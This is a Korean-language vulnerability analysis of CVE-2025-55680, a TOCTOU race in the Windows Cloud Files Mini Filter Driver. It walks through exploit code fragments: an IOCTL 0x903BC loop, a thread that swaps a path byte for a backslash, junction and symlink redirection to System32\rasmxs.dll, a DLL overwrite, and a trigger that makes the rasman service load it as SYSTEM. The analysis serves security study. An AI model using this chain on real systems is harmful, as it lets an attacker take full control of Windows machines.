CVE-2025-55680은 원래 2020년 Microsoft가 패치했던 Arbitrary File Creation EoP 취약점에 대해서, TOCTOU 레이스 조건을 이용해 우회 공격이 다시 가능해진 취약점입니다. 해당 취약점은 Windows Cloud Files Mini Filter Driver에서 발생하였습니다.
while ( 1 )
{
v23 = *(_WORD *)((char *)v52 + 2 * v22 + epi16);
if ( v23 == '\\' || v23 == ':' )
break;
if ( ++v22 >= (unsigned __int16)(WORD1(v18) >> 1) )
goto LABEL_51;
}
기존의 검사 코드는 경로에 \혹은 :문자가 포함되어 있는지 검사하고, 경로에 해당 문자가 있으면 파일 생성이 차단되는 흐름을 가지고 있습니다.
ProbeForRead(a4, Length, 4u);
MmProbeAndLockPages(MemoryDescriptorList, 1, IoReadAccess);
if ( (MemoryDescriptorList->MdlFlags & 5) != 0 )
MappedSystemVa = (char *)MemoryDescriptorList->MappedSystemVa;
else
MappedSystemVa = (char *)MmMapLockedPagesSpecifyCache(MemoryDescriptorList, 0, MmCached, 0i64, 0, 0x40000010u);
v46 = MappedSystemVa;
ProbeForRead와 MmProbeAndLockPages로 페이지를 락(lock)한 후 문자열 검사를 수행하고 있지만, 이는 페이지를 고정할 뿐 내용 자체를 동결시키지 않습니다. 따라서 해당 버퍼는 여전히 UserMode에서도 쓰기가 가능하고, 커널이 문자열 검사를 수행한 직후나 검증과 실제 사용 사이 타이밍에 값이 바뀔 수 있습니다. 이 때문에 검사 시점에는 정상으로 보였던 경로가 사용 시점에는 다른 값으로 바뀌는 TOCTOU 취약점이 발생합니다.
DoStartSvc();
_mkdir("C:\\ProgramData\\cldpwn");
_mkdir("C:\\ProgramData\\cldpwn\\boo");
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
init_symlink();
먼저 익스플로잇에 사용할 클라우드 필터 드라이버가 로드되도록 관련 서비스를 시작한 뒤, 공격에 사용할 임의의 경로(C:\ProgramData\cldpwn 및 그 하위 디렉토리)를 생성합니다. 이후 이 디렉토리를 Windows Cloud Filter Sync Root로 등록해, 해당 경로 아래의 파일 생성 요청이 클라우드 필터 드라이버를 반드시 거치도록 만듭니다. (필터 드라이버와 Sync Root 👈)
wchar_t path[] = L"boo16.txt";
createthread test = (createthread)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateUserThread");
HANDLE a;char buffer11[0x100];
*(WORD*)(tmp + 0x8) = 0x100;
*(WORD*)(tmp + 0xa) = (lstrlenW(path)) * 2;
*(WORD*)(tmp + 0xc) = 0x20;
*(WORD*)(tmp + 0xe) = 0x30;
memcpy(tmp + 0x100, path, (lstrlenW(path) + 1) * 2);
...
*(int*)inbuffer = 0x9000001A;
*(int*)(inbuffer + 4) = 0xC0000001;
*(int*)(inbuffer + 8) = 0x1;
*(int*)(inbuffer + 16) = 0x200;
*(char**)(inbuffer + 24) = tmp;
while (1) {
*(char*)(tmp + 0x106) = 0x31;
*(char*)(tmp + 0x11a) = 0x31;
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, &BytesReturned, 0);
}
이후 dir_handle에 대해 IOCTL(0x903BC)을 반복적으로 보내면서, boo16.txt라는 이름의 placeholder 파일을 계속 생성하도록 시도합니다. 이때 inbuffer의 첫 필드 0x9000001A와 상태 코드 0xC0000001, 0xC0000007은 내부적으로 클라우드 필터 드라이버에서 HsmpOpCreatePlaceholders로 매핑되는 요청 타입과 파라미터로 해석됩니다. 즉, 이 루프를 통해 C:\ProgramData\cldpwn 아래에서 placdholder 생성 요청을 폭발적으로 발생시키는 트리거 역할을 하면서 이 시점의 입력 버퍼 tmp가 이후 TOCTOU 레이스의 타겟이 됩니다.
void thread1() {
while (1) {
Sleep(5);
*(char *)(tmp + 0x106) = 0x5c;
}
}
계속 boo16.txt에 대해 placeholder 파일 생성 요청을 보내는 동안, thread1()에서는 동일 버퍼 tmp를 특정 바이트를 0x31('1')에서 0x5c('\\')로 덮어 경로 문자열 일부를 순간적으로 boo\\6.txt 형태가 되도록 조작합니다. 경로 검사 루틴은 정상적인 값일 때 안전한 boo16.txt 기준으로 통과하지만, 검사 직후 thread1()이 해당 바이트를 \로 바꿔 놓기 때문에 커널이 일시적으로 boo\6.txt 형태가 됩니다.
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
HANDLE hJunction;
DWORD cb;
wchar_t printname[] = L "";
HANDLE hDir;
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
...
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, & cb, NULL) != 0) {
free(Data);
return TRUE;
...
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
return TRUE;
...
}
한편 CreateJunction()과 DosDeviceSymLink()를 통해 경로 해석 체인을 구성해둡니다. 먼저 C:\ProgramData\cldpwn\boo\ 디렉터리를 NTFS junction으로 만들어 NT 네임스페이스 상 \RPC Control에 연결하도록 설정합니다. 이어서 GLOBAL\GLOBALROOT\RPC\Control\6.txt를 \??\C:\Windows\System32\rasmxs.dll로 향하는 DOS 디바이스 심볼릭 링크로 등록합니다. 이 결과 커널이 보는 최종 경로 흐름은 C:\ProgramData\cldpwn\boo\6.txt → \RPC Control\6.txt → C:\Windows\System32\rasmxs.dll가 되면서 해당 경로에 대해 쓰기 가능한 파일 핸들을 열게 됩니다.
CreateFile(L"C:\\Windows\\System32\\rasmxs.dll", GENERIC_WRITE,...);
WriteFile(handle, buffer, bytesRead, ...);
trigger_loadlibrary(1);
이 핸들을 이용해 공격자가 준비한 악성 DLL 페이로드를 WriteFile()로 시스템 경로의 rasmxs.dll에 그대로 덮어씁니다. 마지막으로 trigger_loadlibrary(1)이 rasman.dll 내부 함수를 통해 rasman 서비스와의 RPC 호출을 생성하고, 서비스 쪽에서 평소 동작대로 C:\Windows\System32\rasmxs.dll을 로드하도록 트리거합니다. 이때 DLL 내용은 공격자 코드로 교체되어 있기 때문에, 수정된 rasmxs.dll이 rasmans 서비스 SYSTEM 권한 컨텍스트에서 로드되고 페이로드가 실행되며 최종적으로 권한 상승이 발생합니다.